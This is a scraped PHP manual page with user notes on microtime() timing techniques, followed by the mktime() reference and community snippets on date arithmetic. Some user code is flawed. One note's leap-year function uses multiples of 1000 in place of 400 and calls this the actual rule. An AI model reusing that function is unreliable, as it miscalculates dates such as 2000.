$micro_date = microtime();
$date_array = explode(" ",$micro_date);
$date = date("Y-m-d H:i:s",$date_array[1]);
echo "Date: $date:" . $date_array[0];

Test accuracy by running it in a loop.
Russell G. 04-May-2013 05:34
Note that the timestamp returned is "with microseconds", not "in microseconds". This is especially good to know if you pass 'true' as the parameter and then calculate the difference between two float values -- the result is already in seconds; it doesn't need to be divided by a million.
player27 16-Jan-2013 01:31
You can use one variable to check execution $time as follow:

<?php
$time = -microtime(true);
$hash = 0;
for ($i=0; $i < rand(1000,4000); ++$i) {
    $hash ^= md5(substr(str_shuffle("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, rand(1,10)));
}
$time += microtime(true);
echo "Hash: $hash iterations:$i time: ",sprintf('%f', $time),PHP_EOL;
?>
Anonymous 25-Aug-2012 12:34
Observed in php 5.3.3 on CentOS 6 and php 5.3.14 on Amazon Linux 2012.03:

microtime()'s string value is in the format "0.dddddd00 ddddd...".  That is, there's room for 10-ns precision that isn't being used, and the "msec" value is in decimal, not a literal number of microseconds (and *especially* not milliseconds, which is what msec usually stands for) as the documentation might imply.
thomas 12-Apr-2012 11:45
I have been getting negative values substracting a later microtime(true) call from an earlier microtime(true) call on Windows with PHP 5.3.8

Produces negative values
------------------------------
for($i = 0; $i<100; $i++) {
    $x =  microtime(true);
    //short calculation
    $y = microtime(true);
    echo ($y-$x) . "\n"; // <--- mostly negatives
}

Calling usleep(1) seems to work
---------------------------------------
for($i = 0; $i<100; $i++) {
    $x =  microtime(true);
    //short calculation
    usleep(1);
    $y = microtime(true);
    echo ($y-$x) . "\n"; // <--- fixed now
}
langpavel at phpskelet dot org 19-May-2011 10:46
I use this for measure duration of script execution. This function should be defined (and of couse first call made) as soon as possible.

<?php
/**
 * get execution time in seconds at current point of call in seconds
 * @return float Execution time at this point of call
 */
function get_execution_time()
{
    static $microtime_start = null;
    if($microtime_start === null)
    {
        $microtime_start = microtime(true);
        return 0.0;
    }
    return microtime(true) - $microtime_start;
}
get_execution_time();

?>

However it is true that result depends of gettimeofday() call. ([jamie at bishopston dot net] wrote this & I can confirm)
If system time change, result of this function can be unpredictable (much greater or less than zero).
jamie at bishopston dot net 30-Dec-2010 09:55
All these timing scripts rely on microtime which relies on gettimebyday(2)

This can be inaccurate on servers that run ntp to syncronise the servers
time.

For timing, you should really use clock_gettime(2) with the
CLOCK_MONOTONIC flag set.

This returns REAL WORLD time, not affected by intentional clock drift.

This may seem a bit picky, but I recently saw a server that's clock was an
hour out, and they'd set it to 'drift' to the correct time (clock is speeded
up until it reaches the correct time)

Those sorts of things can make a real impact.

Any solutions, seeing as php doesn't have a hook into clock_gettime?

More info here: http://tinyurl.com/28vxja9

http://blog.habets.pp.se/2010/09/
gettimeofday-should-never-be-used-to-measure-time
Robin Leffmann 24-Dec-2010 09:07
While doing some experiments on using microtime()'s output for an entropy generator I found that its microsecond value was always quantified to the nearest hundreds (i.e. the number ends with 00), which affected the randomness of the entropy generator. This output pattern was consistent on three separate machines, running OpenBSD, Mac OS X and Windows.

The solution was to instead use gettimeofday()'s output, as its usec value followed no quantifiable pattern on any of the three test platforms.
Anonymous 24-Sep-2010 06:53
that related to the prescedence of the . operator

<?php
# normal prescedence
$a = "te" .   1 - 2   . "st"; # ((te . 1) - 2 ) . st ==> -2st
$b = "te" .   1 + 2   . "st"; # ((te . 1) + 2 ) . st ==>  2st

# modified prescedence
$c = "te" . ( 1 - 2 ) . "st"; # te . ( 1 - 2 ) . st ==> te-1st
$d = "te" . ( 1 + 2 ) . "st"; # te . ( 1 + 2 ) . st ==> te3st

var_dump( $a, $b );
var_dump( $c, $d );
Andris 10-Aug-2010 11:23
I wrote a class which allows to time execution of php scripts very easily. You can even time multiple separate blocks and then get the total time at the end.

The class is pretty long so I won't post it here, but here's the link:
http://codeaid.net/php/calculate-script-execution-time-(php-class)

An quick usage example:
<?php
for ($i = 0; $i < 100; $i++) {
     // calculate the time it takes to run fx()
     Timer::start();
     fx();
     Timer::stop();

     fy();

     // calculate the time it takes to run fz()
     Timer::start();
     fz();
     Timer::stop();
}

print Timer::get();
?>
bleakwind at gmail dot com 16-Sep-2009 07:19
Check Program runtime:
<?php

class bwruntime
{
    var $timestart;
    var $digits;

    function bwruntime($digits = "")
    {
        $this->timestart    = explode (' ', microtime());
        $this->digits       = $digits;
    }

    function totaltime()
    {
        $timefinish         = explode (' ', microtime());
        if($this->digits == ""){
            $runtime_float  = $timefinish[0] - $this->timestart[0];
        }else{
            $runtime_float  = round(($timefinish[0] - $this->timestart[0]), $this->digits);
        }
        $runtime = ($timefinish[1] - $this->timestart[1]) + $runtime_float;
        return $runtime;
    }
}
?>
thawootah 03-Aug-2009 01:23
Want to make sure your script doesn't time out on large updates? Say you're doing a poor mans cron job or working with large amounts of data in loop and the user begins to hang too long. Instead of them giving up and leaving you can break the loop when it reaches a set time and still display data.

Here's a simple handy dandy loop timer rounded to second.
<?php
$starttime = round(microtime(true));
$totaltime  = 0;
$maxtime = 5; //seconds
for ($i = 1; $i <= 20; $i++) {  /// 20 loops 1 sec each

        usleep(1000000);

    if($totaltime < $maxtime){
    $currenttime = round(microtime(true));
    $totaltime = $totaltime + ($currenttime -$starttime);
        //update and continue
    echo  $i.'<br>';

    }else{
        // stop updating or display not updated data.
    break;
    }
}

?>
gomodo at free dot fr 17-Jun-2009 12:32
Need a mini benchmark ?
Use microtime with this (very smart) benchmark function :

mixed mini_bench_to(array timelist[, return_array=false])
return a mini bench result

-the timelist first key must be 'start'
-default return a resume string, or array if return_array= true :
'total_time' (ms) in first row
details (purcent) in next row

example :
<?php
unset($t);    // if previous used

//-- zone to bench
$t['start'] = microtime(true);
$tab_test=array(1,2,3,4,5,6,7,8);
$fact=1;
$t['init_values'] = microtime(true);
foreach ($tab_test as $key=>$value)
{
    $fact=$fact*$value;
}
$t['loop_fact'] = microtime(true);
echo "fact = ".$fact."\n";
//-- END zone to bench

echo "---- string result----\n";
$str_result_bench=mini_bench_to($t);
echo $str_result_bench; // string return
echo "---- tab result----\n";
$tab_result_bench=mini_bench_to($t,true);
echo var_export($tab_result_bench,true);
?>
this example return:

---- string result----
total time : 0.0141 ms
start -> init_values : 51.1 %
init_values -> loop_fact : 48.9 %
---- tab result----
array (
  'total_time' => 0.0141,
  'start -> init_values' => 51.1,
  'init_values -> loop_fact' => 48.9,
)

The function to include :

<?php
function mini_bench_to($arg_t, $arg_ra=false)
  {
    $tttime=round((end($arg_t)-$arg_t['start'])*1000,4);
    if ($arg_ra) $ar_aff['total_time']=$tttime;
    else $aff="total time : ".$tttime."ms\n";
    $prv_cle='start';
    $prv_val=$arg_t['start'];

    foreach ($arg_t as $cle=>$val)
    {
        if($cle!='start')
        {
            $prcnt_t=round(((round(($val-$prv_val)*1000,4)/$tttime)*100),1);
            if ($arg_ra) $ar_aff[$prv_cle.' -> '.$cle]=$prcnt_t;
            $aff.=$prv_cle.' -> '.$cle.' : '.$prcnt_t." %\n";
            $prv_val=$val;
            $prv_cle=$cle;
        }
    }
    if ($arg_ra) return $ar_aff;
    return $aff;
  }
?>
singh206 at gmail dot com 10-Apr-2009 08:35
<?php
class StopWatch {
    public $total;
    public $time;

    public function __construct() {
        $this->total = $this->time = microtime(true);
    }

    public function clock() {
        return -$this->time + ($this->time = microtime(true));
    }

    public function elapsed() {
        return microtime(true) - $this->total;
    }

    public function reset() {
        $this->total=$this->time=microtime(true);
    }
}

$stopwatch = new StopWatch();
usleep(1000000);
echo "Checkpoint 1: ".$stopwatch->clock()." seconds<br />";

usleep(1000000);
echo "Checkpoint 2: ".$stopwatch->clock()." seconds<br />";

echo "Total Elapsed: ".$stopwatch->elapsed()." seconds<br />";
?>
christ dot boris at nospam gmail dot com 13-Sep-2008 09:39
Hi, I made a function to get the generation page time :

<?php
function gentime() {
    static $a;
    if($a == 0) $a = microtime(true);
    else return (string)(microtime(true)-$a);
}
?>

(You can add a round() to the return value if you want)

Use :

<?php
# you should include your libraries/conf files here (including the gentime function)
gentime();

# your source code here

echo 'Generated in '.gentime().' seconds.'
?>
pascalxusPLEASENOSPAM at yahoo dot com 12-Jul-2008 10:19
I wanted to find out whether echo would be quicker in small chunks or one large chunk to test the theory mentioned in the previous post.  The following experiment shows that there is no significant performance difference, in terms of execution time elapsed, between the two methods of using echo.  I ran two test cases, one with a string that is 100000 bytes long and another with a string length of 1000000.  The source code follows below.

<?php

function echobig($string, $bufferSize = 8192)
{
    $splitString = str_split($string, $bufferSize);

    foreach($splitString as $chunk)
        echo $chunk;
}

global $dat;
$dat = "";

function testit()
{
global $dat;
$data = "";

for( $a = 0; $a <= 1000000; $a += 1 ) $data .= "a";

$u1= microtime(true);
echobig( $data );
$u2= microtime(true);
echo $data;
$u3= microtime(true);

$diff = $u2 - $u1;
$diff2= $u3 - $u2;
$dat .= "$diff2 $diff    $u2  $u1\r\n";
}

$i = 0;
while( $i < 5 )
{
  testit(); $i += 1;
}

global $dat;
$fp = fopen( "../Data/results.txt", "w" );
fwrite( $fp, $dat );
fclose( $fp );
?>

You can run the above experiment yourself or you can look at my test data.  I got some test data here:  http://www.codesplunk.com/examples/echo.html
kpsimoulis [at] genatec 05-Jun-2008 09:53
This function is very useful for putting a start and end point in your page to find out where is the delay.

<?php

$start = microtime(true);
// My source code here
$end = microtime(true);

echo $end."-".$start."=".($end - $start). " seconds";

?>

If you try this example above (without any source code between the start and the end point). You will get an ugly value, something like:
1212690530.4132-1212690530.4132=8.1062316894531E-6 seconds

You will wonder why you get this because both numbers seem to be equal. Well this is because there is a hidden precision that we are not able to see.

To solve this problem I made a new function:

<?php

function my_microtime($precision = 4)
{
    return round(microtime(true),4);
}

$start = microtime(true);
// My source code here
$end = microtime(true);

echo $end."-".$start."=".substr(($end - $start),0,5). " seconds";

?>

It would be useful if they add another parameter for precision in this function or at least another boolean that will not include the hidden precision.
You can read more about the hidden precision in http://php.net/float
Peter Kehl 30-May-2008 12:31
This function allows you to easily calculate time difference between two points in time without losing the precision.

<?php

    /**    Calculate a precise time difference.
        @param string $start result of microtime()
        @param string $end result of microtime(); if NULL/FALSE/0/'' then it's now
        @return flat difference in seconds, calculated with minimum precision loss
    */
    function microtime_diff( $start, $end=NULL ) {
        if( !$end ) {
            $end= microtime();
        }
        list($start_usec, $start_sec) = explode(" ", $start);
        list($end_usec, $end_sec) = explode(" ", $end);
        $diff_sec= intval($end_sec) - intval($start_sec);
        $diff_usec= floatval($end_usec) - floatval($start_usec);
        return floatval( $diff_sec ) + $diff_usec;
    }

?>
luke at lucanos dot com 29-May-2008 01:48
Rather than using the list() function, etc. I have found the following code to be a bit cleaner and simpler:
<?php
$theTime = array_sum( explode( ' ' , microtime() ) );
echo $theTime;
# Displays "1212018372.3366"
?>
admin at emuxperts dot net 21-Aug-2006 04:37
This little function comes in handy if you want a single integer when your server doesn't have php >= 5.0

It returns seconds passed unix epoch to the microsecond. Or microseconds since unix epoch.

<?php
//A hack for PHP < 5.0
function utime($inms){
    $utime = preg_match("/^(.*?) (.*?)$/", microtime(), $match);
    $utime = $match[2] + $match[1];
    if($inms){
        $utime *=  1000000;
    }
    return $utime;
}

//Example:
print utime();
//Returns:
//1156127104.746352 Seconds

//Example two:
print utime(1);
//Returns:
//1156127104746352 Microseconds
?>
EdorFaus 16-May-2006 09:47
Of the methods I've seen here, and thought up myself, to convert microtime() output into a numerical value, the microtime_float() one shown in the documentation proper(using explode,list,float,+) is the slowest in terms of runtime.

I implemented the various methods, ran each in a tight loop 1,000,000 times, and compared runtimes (and output). I did this 10 times to make sure there wasn't a problem of other things putting a load spike on the server. I'll admit I didn't take into account martijn at vanderlee dot com's comments on testing accuracy, but as I figured the looping code etc would be the same, and this was only meant as a relative comparison, it should not be necessary.

The above method took on average 5.7151877 seconds, while a method using substr and simply adding strings with . took on average 3.0144226 seconds. rsalazar at innox dot com dot mx's method using preg_replace used on average 4.1819633 seconds. This shows that there are indeed differences, but for normal use noone is going to notice it.

Note that the substr method mentioned isn't quite the one given anonymously below, but one I made based on it:
<?php
$time=microtime();
$timeval=substr($time,11).substr($time,1,9);
?>

Also worth noting is that the microtime_float() method gets faster, and no less accurate, if the (float) conversions are taken out and the variables are simply added together.

Any of the methods that used + or array_sum ended up rounding the result to 2 digits after the decimal point, while (most of) the ones using preg_replace or substr and . kept all the digits.

For accurate timing, since floating-point arithmetic would lose precision, I stored microtime results as-is and calculated time difference with this function:
<?php
function microtime_used($before,$after) {
    return (substr($after,11)-substr($before,11))
        +(substr($after,0,9)-substr($before,0,9));
}
?>

For further information, the script itself, etc, see http://edorfaus.xepher.net/div/convert-method-test.php
radek at pinkbike com 25-Nov-2005 05:48
A lot of the comments here suggest adding in the following way:  (float)$usec + (float)$sec
Make sure you have the float precision high enough as with the default precision of 12, you are only precise to the 0.01 seconds.
Set this in you php.ini file.
        precision    =  16
vladson at pc-labs dot info 19-Jun-2005 12:49
I like to use bcmath for it
<?php
function micro_time() {
    $temp = explode(" ", microtime());
    return bcadd($temp[0], $temp[1], 6);
}

$time_start = micro_time();
sleep(1);
$time_stop = micro_time();

$time_overall = bcsub($time_stop, $time_start, 6);
echo "Execution time - $time_overall Seconds";
?>
php at washboardabs dot net 24-Feb-2005 09:57
Interesting quirk (tested in PHP 5.0.3): You can get very wacky results from microtime when it is called in the destructor of an object at the end of a script. These times vary enormously and can be in the *past*, when compared to microtime calls in the body of the script.

As a case example, I played with a timer object that measured microtime when it was created at the start of the script, and measured microtime again at the end of the script using __destruct(); and then printed the total execution time (end time - start time) at the bottom of the page. On short scripts, this would often give a negative time!

This quirk does not appear if microtime is measured with an automatic shutdown function (using <?PHP register_shutdown_function('myfunc') ?>. Incidentally, the automatic shutdown functions are called after output buffers are flushed but before object destructors are called.


Get Unix timestamp for a date

  • « microtime
  • strftime »
  • PHP Manual
  • Date/Time Functions
  • Get Unix timestamp for a date

mktime

(PHP 4, PHP 5)

mktime — Get Unix timestamp for a date

Description

 int mktime
  ([ int $hour = date("H")
 [, int $minute = date("i")
 [, int $second = date("s")
 [, int $month = date("n")
 [, int $day = date("j")
 [, int $year = date("Y")
 [, int $is_dst = -1
]]]]]]] )

Returns the Unix timestamp corresponding to the arguments given. This timestamp is a long integer containing the number of seconds between the Unix Epoch (January 1 1970 00:00:00 GMT) and the time specified.

Arguments may be left out in order from right to left; any arguments thus omitted will be set to the current value according to the local date and time.

Notes

Note:

As of PHP 5.1, when called with no arguments, mktime() throws an E_STRICT notice: use the time() function instead.

Parameters

hour

The number of the hour relative to the start of the day determined by month, day and year. Negative values reference the hour before midnight of the day in question. Values greater than 23 reference the appropriate hour in the following day(s).

minute

The number of the minute relative to the start of the hour. Negative values reference the minute in the previous hour. Values greater than 59 reference the appropriate minute in the following hour(s).

second

The number of seconds relative to the start of the minute. Negative values reference the second in the previous minute. Values greater than 59 reference the appropriate second in the following minute(s).

month

The number of the month relative to the end of the previous year. Values 1 to 12 reference the normal calendar months of the year in question. Values less than 1 (including negative values) reference the months in the previous year in reverse order, so 0 is December, -1 is November, etc. Values greater than 12 reference the appropriate month in the following year(s).

day

The number of the day relative to the end of the previous month. Values 1 to 28, 29, 30 or 31 (depending upon the month) reference the normal days in the relevant month. Values less than 1 (including negative values) reference the days in the previous month, so 0 is the last day of the previous month, -1 is the day before that, etc. Values greater than the number of days in the relevant month reference the appropriate day in the following month(s).

year

The number of the year, may be a two or four digit value, with values between 0-69 mapping to 2000-2069 and 70-100 to 1970-2000. On systems where time_t is a 32bit signed integer, as most common today, the valid range for year is somewhere between 1901 and 2038. However, before PHP 5.1.0 this range was limited from 1970 to 2038 on some systems (e.g. Windows).

is_dst

This parameter can be set to 1 if the time is during daylight savings time (DST), 0 if it is not, or -1 (the default) if it is unknown whether the time is within daylight savings time or not. If it's unknown, PHP tries to figure it out itself. This can cause unexpected (but not incorrect) results. Some times are invalid if DST is enabled on the system PHP is running on or is_dst is set to 1. If DST is enabled in e.g. 2:00, all times between 2:00 and 3:00 are invalid and mktime() returns an undefined (usually negative) value. Some systems (e.g. Solaris 8) enable DST at midnight so time 0:30 of the day when DST is enabled is evaluated as 23:30 of the previous day.

Note:

As of PHP 5.1.0, this parameter became deprecated. As a result, the new timezone handling features should be used instead.

Return Values

mktime() returns the Unix timestamp of the arguments given. If the arguments are invalid, the function returns FALSE (before PHP 5.1 it returned -1).

Errors/Exceptions

Every call to a date/time function will generate a E_NOTICE if the time zone is not valid, and/or a E_STRICT or E_WARNING message if using the system settings or the TZ environment variable. See also date_default_timezone_set()

Changelog

Version | Description
5.3.0 | mktime() now throws E_DEPRECATED notice if the is_dst parameter is used.
5.1.0 | The is_dst parameter became deprecated. Made the function return FALSE on error, instead of -1. Fixed the function to accept the year, month and day to be all passed as zero.
5.1.0 | When called with no arguments, mktime() throws E_STRICT notice. Use the time() function instead.
5.1.0 | Now issues the E_STRICT and E_NOTICE time zone errors.

Examples

Example #1 mktime() basic example

<?php
// Set the default timezone to use. Available as of PHP 5.1
date_default_timezone_set('UTC');

// Prints: July 1, 2000 is on a Saturday
echo "July 1, 2000 is on a " . date("l", mktime(0, 0, 0, 7, 1, 2000));

// Prints something like: 2006-04-05T01:02:03+00:00
echo date('c', mktime(1, 2, 3, 4, 5, 2006));
?>

Example #2 mktime() example

mktime() is useful for doing date arithmetic and validation, as it will automatically calculate the correct value for out-of-range input. For example, each of the following lines produces the string "Jan-01-1998".

<?php
echo date("M-d-Y", mktime(0, 0, 0, 12, 32, 1997));
echo date("M-d-Y", mktime(0, 0, 0, 13, 1, 1997));
echo date("M-d-Y", mktime(0, 0, 0, 1, 1, 1998));
echo date("M-d-Y", mktime(0, 0, 0, 1, 1, 98));
?>

Example #3 Last day of a month

The last day of any given month can be expressed as the "0" day of the next month, not the -1 day. Both of the following examples will produce the string "The last day in Feb 2000 is: 29".

<?php
$lastday = mktime(0, 0, 0, 3, 0, 2000);
echo strftime("Last day in Feb 2000 is: %d", $lastday);
$lastday = mktime(0, 0, 0, 4, -31, 2000);
echo strftime("Last day in Feb 2000 is: %d", $lastday);
?>

Notes

Caution

Before PHP 5.1.0, negative timestamps were not supported under any known version of Windows and some other systems as well. Therefore the range of valid years was limited to 1970 through 2038.

See Also

  • checkdate() - Validate a Gregorian date
  • gmmktime() - Get Unix timestamp for a GMT date
  • date() - Format a local time/date
  • time() - Return current Unix timestamp

User Contributed Notes

Rad 27-Mar-2014 02:31
Be careful passing zeros into mktime, in most cases a zero will count as the previous unit of time. The documentation explains this yet most of the comments here still use zeroes.

For example, if you pass the year 2013 into mktime, with zeroes for everything else, the outcome is probably not what you are looking for.

<?php
echo date('F jS, Y g:i:s a', mktime(0, 0, 0, 0, 0, 2013));
// November 30th, 2012 12:00:00 am
?>

Instead of using 0's, try 1's. This makes more sense (except for minutes/seconds). Maybe not as obvious of a purpose as zeroes to other programmers, though.

<?php
echo date('F jS, Y g:i:s a', mktime(1, 1, 1, 1, 1, 2013));
// January 1st, 2013 1:01:01 am
?>
mogster at redesign dot no 15-Mar-2014 09:02
Just a simple function to return mktime from a db (mysql) datetime (Y-m-d H:i:s):

function retMktimest($dbdate) {
  return mktime(substr($dbdate, 11, 2), substr($dbdate, 14, 2), substr($dbdate, 17, 2), substr($dbdate, 5, 2), substr($dbdate, 8, 2), substr($dbdate, 0, 4));
}
delfino dot salinas at gmail dot com 06-Mar-2014 05:01
this function returns the number of days of a provided month and year, it consider the actual rules for leap years

(if the year is multiple of 4 which is not a multiple of 100 unless multiple of thousand then is a leap)
Regards, hope this function solves any issue :)

function daysinmonth($month,$year) {
$dim = 0;
switch ($month) {
    case 1:
    case 3:
    case 5:
    case 7:
    case 8:
    case 10:
    case 12:
        $dim=31;
        break;
    case 4:
    case 6:
    case 9:
    case 11:
        $dim=30;
        break;
    case 2:
        if($year%4==0) {
            if($year%100==0) {
                if($year%1000==0) { $dim=29; } else { $dim=28; }
            } else {
                $dim=29;
            }
        } else {$dim=28;}
        break;
    }
    return($dim);
}
info at djdb dot be 02-Sep-2013 09:03
raw date to clean timestamp
 private function dateToTimestamp($date){
        $datefrom = explode(" ", $date);
        $value = array();
        if(strpos($datefrom[0], '-')){
            //print "issplit -";
            $value = explode("-", $datefrom[0]);
        }
        if(strpos($datefrom[0], '/')){
            //print "issplit /";
            $value = explode("/", $datefrom[0]);
        }
        /*if(){

        }*/
        if(strlen($value[2])==4){//13/12/2012
            //int mktime([hour[minute[second[month[day[year
            return mktime(0, 0, 0,$value[1],$value[0],$value[2]);
        }else{                  //2012/12/13
            //int mktime([hour[minute[second[month[day[year
            return mktime(0, 0, 0,$value[1],$value[2],$value[0]);
        }
    }
Jacob Santos 10-Nov-2012 01:17
Please note that incrementing a date using mktime in a loop is not proper. You could do it, except that there is a far better method found in the DateTime PHP class. Look at the documentation for DateTime::modify, DateTime::add (when supported) and DateTime::sub (when supported).

Also, adding seconds to a time is, well it isn't as easy as it seems, "Hey I'll just add 3600 seconds or 86400 seconds or x seconds!". The phrase once bitten, twice shy is quite applicable with the usage of adding seconds. If you ever had to 'fix' a time by calculating midnight to add the correct number of seconds, then you are doing it wrong.

Luckily, knowing is not a requirement, because DateTime and friends exists, removing the complexity for you.

So if given a choice of

mktime($seconds, $minutes, $hours+1);

and

$datetime->modify('+1 hour');

or

$datetime->add('P1H');

I'll go with the second choice, but probably not the third, unless I was using DateInterval::createFromDateString, so that other developers knew my intent.
info at microweb dot lt 03-Nov-2010 04:42
Function to generate array of dates between two dates (date range array)

<?php
function dates_range($date1, $date2)
{
   if ($date1<$date2)
   {
       $dates_range[]=$date1;
       $date1=strtotime($date1);
       $date2=strtotime($date2);
       while ($date1!=$date2)
       {
           $date1=mktime(0, 0, 0, date("m", $date1), date("d", $date1)+1, date("Y", $date1));
           $dates_range[]=date('Y-m-d', $date1);
       }
   }
   return $dates_range;
}

echo '<pre>';
print_r(dates_range('2009-12-25', '2010-01-05'));
echo '</pre>';
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix submitted by (carlosbuz2 AT gmail DOT com) on 04-MAR-2011, with the following note: The first date in array is incorrect.]
tom at chegg dot com 31-Aug-2010 11:01
I was using the following to get a list of month names.

for ($i=1; $i<13; $i++) {
  echo date('F', mktime(0,0,0,$i) . ",";
}

Normally this outputs -
January,February,March,April,May,June,July,August,
September,October,November,December

However if today's date is the 31st you get instead:
January,March,March,May,May,July,July,August,October,
October,December,December

Why? Because Feb,Apr,June,Sept, and Nov don't have 31 days!

The fix, add the 5th parameter, don't let the day of month default to today's date:

  echo date('F', mktime(0,0,0,$i,1) . ",";
zfowler at unomaha dot edu 16-Mar-2010 11:18
Proper way to convert Excel dates into PHP-friendly timestamps using mktime():

<?php
// The date 6/30/2009 is stored as 39994 in Excel
$days = 39994;

// But you must subtract 1 to get the correct timestamp
$ts = mktime(0,0,0,1,$days-1,1900);

// So, this would then match Excel's representation:
echo date("m/d/Y",$ts);
?>

Excel uses "number of days since Jan. 1, 1900" to store its dates.  It also treats 1900 as a leap year when it wasn't, thus there is an extra day which must be accounted for in PHP (and the rest of the world).  Subtracting 1 from Excel's number will fix this problem.
contact at phpmember dot com 20-Jan-2010 01:45
How many days have  passed since the beginning of the year.... regardless of what year it is...

<?php
//Carlos Galindo
//phpmember.com

$days = floor((time()-mktime(null,null,null,1,0,date("Y")))/86400);

echo "$days days have passed";

//Good Luck
?>
cebleo at n-trance dot net 08-Sep-2009 08:36
to ADD or SUBSTRACT times NOTE that if you dont specify the UTC zone your result is the difference +- your server UTC delay.

if you are ina utc/GMT +1

<?php
$hours_diff = strtotime("20:00:00")-strtotime("19:00:00");
echo  date('h:i', $hours_diff)." Hours";
?>

it shows: 02:00 Hours

but if you use a default UTC time:

<?php
date_default_timezone_set('UTC');
$hours_diff = strtotime("20:00:00")-strtotime("19:00:00");
echo "<br>". date('h:i', $hours_diff);
?>

it shows: 01:00 Hours.
ronnie dot kurniawan at gmail dot com 16-Jan-2009 06:49
Add (and subtract) unixtime:

<?php
function utime_add($unixtime, $hr=0, $min=0, $sec=0, $mon=0, $day=0, $yr=0) {
  $dt = localtime($unixtime, true);
  $unixnewtime = mktime(
      $dt['tm_hour']+$hr, $dt['tm_min']+$min, $dt['tm_sec']+$sec,
      $dt['tm_mon']+1+$mon, $dt['tm_mday']+$day, $dt['tm_year']+1900+$yr);
  return $unixnewtime;
}
?>
Alan 18-Nov-2008 04:52
Do remember that, counter-intuitively enough, the arguments for month and day are inversed (or middle-endian). A common mistake for Europeans seems to be to feed the date arguments in the expected order (big endian or little endian).

It's clear to see where this weird order comes from (even with the date being big endian the order for all arguments would still be mixed - it's obviously based on the American date format with the time "prefixed" to allow an easier shorthand) and why this wasn't changed (passing the values in the wrong order produces a valid, though unexpected, result in most cases), but it continues to be a source of confusion for me whenever I come back to PHP from other languages or libraries.
yan 10-Nov-2008 02:50
caculate days between two date

<?php
  // end date is 2008 Oct. 11 00:00:00
  $_endDate = mktime(0,0,0,11,10,2008);
  // begin date is 2007 May 31 13:26:26
  $_beginDate = mktime(13,26,26,05,31,2007);

  $timestamp_diff= $_endDate-$_beginDate +1 ;
  // how many days between those two date
  $days_diff = $timestamp_diff/86400;

?>
ionut dot bodea at eydos dot ro 02-Oct-2008 05:29
Here is what I use to calculate age. It took me 30 minutes to write and it's quite accurate. What it has special is that it's calculating the number of days a year has (float number), by testing if a year is a leap one or not. This number is used to compute the age.

<?php
function get_age($date_start, $date_end) {
    $t_lived = get_timestamp($date_end) - get_timestamp($date_start);
    $seconds_one_year = get_days_per_year($date_start, $date_end) * 24 * 60 * 60;
    $age = array();
    $age['years_exact'] = $t_lived / $seconds_one_year;
    $age['years'] = floor($t_lived / $seconds_one_year);
    $seconds_remaining = $t_lived % $seconds_one_year;
    $age['days'] = round($seconds_remaining / (24 * 60 * 60));
    return $age;
}
function get_timestamp($date) {
    list($y, $m, $d) = explode('-', $date);
    return mktime(0, 0, 0, $m, $d, $y);
}
function get_days_per_year($date_start, $date_end) {
    list($y1) = explode('-', $date_start);
    list($y2) = explode('-', $date_end);
    $years_days = array();
    for($y = $y1; $y <= $y2; $y++) {
        $years_days[] = date('L', mktime(0, 0, 0, 1, 1, $y)) ? 366 : 365;
    }
    return round(array_sum($years_days) / count($years_days), 2);
}

$date_birth = '1979-10-12';
$date_now = date('Y-m-d');

$age = get_age($date_birth, $date_now);
echo '<pre>';
print_r($age);
echo '</pre>';
?>

It will display something like this:
Array
(
    [years_exact] => 28.972974329491
    [years] => 28
    [days] => 355
)
ooogla at hotmail dot com 02-Sep-2008 12:56
If you want to increment the day based on a variable when using a loop you can use this when you submit a form

1. Establish a start date and end date in two different variables

2. Get the number of days between a date

$ndays = (strtotime($_POST['edate']) - strtotime($_POST['sdate'])) / (60 * 60 * 24);

Then here is the string you slip in your loop

$nextday  = date('Y-m-d', mktime(0, 0, 0, date("m", strtotime($_POST['sdate']))  , date("d", strtotime($_POST['sdate']))+ $count, date("Y", strtotime($_POST['sdate']))));

$count is incremented by the loop.
thomas_corthals at hotmail dot com 13-May-2008 04:34
It seems mktime() doesn't return negative timestamps on Linux systems with a version of glibc <= 2.3.3.
joseph dot andrew dot hughes at gmail dot com 30-Jan-2008 09:58
Just a small thing to think about if you are only trying to pull the month out using mktime and date.  Make sure you place a 1 into day field.  Otherwise you will get incorrect dates when a month is followed by a month with less days when the day of the current month is higher then the max day of the month you are trying to find.. (Such as today being Jan 30th and trying to find the month Feb.)
PHPcoder at freemail dot ig3 dot net 06-Sep-2007 07:58
The maximum possible date accepted by mktime() and gmmktime() is dependent on the current location time zone.

For example, the 32-bit timestamp overflow occurs at 2038-01-19T03:14:08+0000Z.  But if you're in a UTC -0500 time zone (such as EST in North America), the maximum accepted time before overflow (for older PHP versions on Windows) is 2038-01-18T22:14:07-0500Z, regardless of whether you're passing it to mktime() or gmmktime().
rlz 17-Jul-2007 06:52
Finding out the number of days in a given month and year, accounting for leap years when February has more than 28 days.

<?php
function days_in_month($year, $month) {
    return( date( "t", mktime( 0, 0, 0, $month, 1, $year) ) );
}
?>

Hope it helps a soul out there.
rga at merchantpal dot com 31-Mar-2007 05:46
You cannot simply subtract or add month VARs using mktime to obtain previous or next months as suggested in previous user comments (at least not with a DD > 28 anyway).

If the date is 03-31-2007, the following yeilds March as a previous month. Not what you wanted.

<?php
$dateMinusOneMonth = mktime(0, 0, 0, (3-1), 31,  2007 );
$lastmonth = date("n | F", $dateMinusOneMonth);
echo $lastmonth;    //---> 3 | March
?>

mktime correctly gives you back the 3rd of March if you subtract 1 month from March 31 (there are only 28 days in Feb 07).

If you are just looking to do month and year arithmetic using mktime, you can use general days like 1 or 28 to do stuff like this:

<?php
$d_daysinmonth = date('t', mktime(0,0,0,$myMonth,1,$myYear));     // how many days in month
$d_year = date('Y', mktime(0,0,0,$myMonth,1,$myYear));        // year
$d_isleapyear = date('L', mktime(0,0,0,$myMonth,1,$myYear));    // is YYYY a leapyear?

$d_firstdow = date('w', mktime(0,0,0,$myMonth,'1',$myYear));     // FIRST falls on what day of week (0-6)
$d_firstname = date('l', mktime(0,0,0,$myMonth,'1',$myYear));     // FIRST falls on what day of week Full Name

$d_month = date('n', mktime(0,0,0,$myMonth,28,$myYear));         // month of year (1-12)
$d_monthname = date('F', mktime(0,0,0,$myMonth,28,$myYear));         // Month Long name (July)
$d_month_previous = date('n', mktime(0,0,0,($myMonth-1),28,$myYear));         // PREVIOUS month of year (1-12)
$d_monthname_previous = date('F', mktime(0,0,0,($myMonth-1),28,$myYear));     // PREVIOUS Month Long name (July)
$d_month_next = date('n', mktime(0,0,0,($myMonth+1),28,$myYear));         // NEXT month of year (1-12)
$d_monthname_next = date('F', mktime(0,0,0,($myMonth+1),28,$myYear));         // NEXT Month Long name (July)
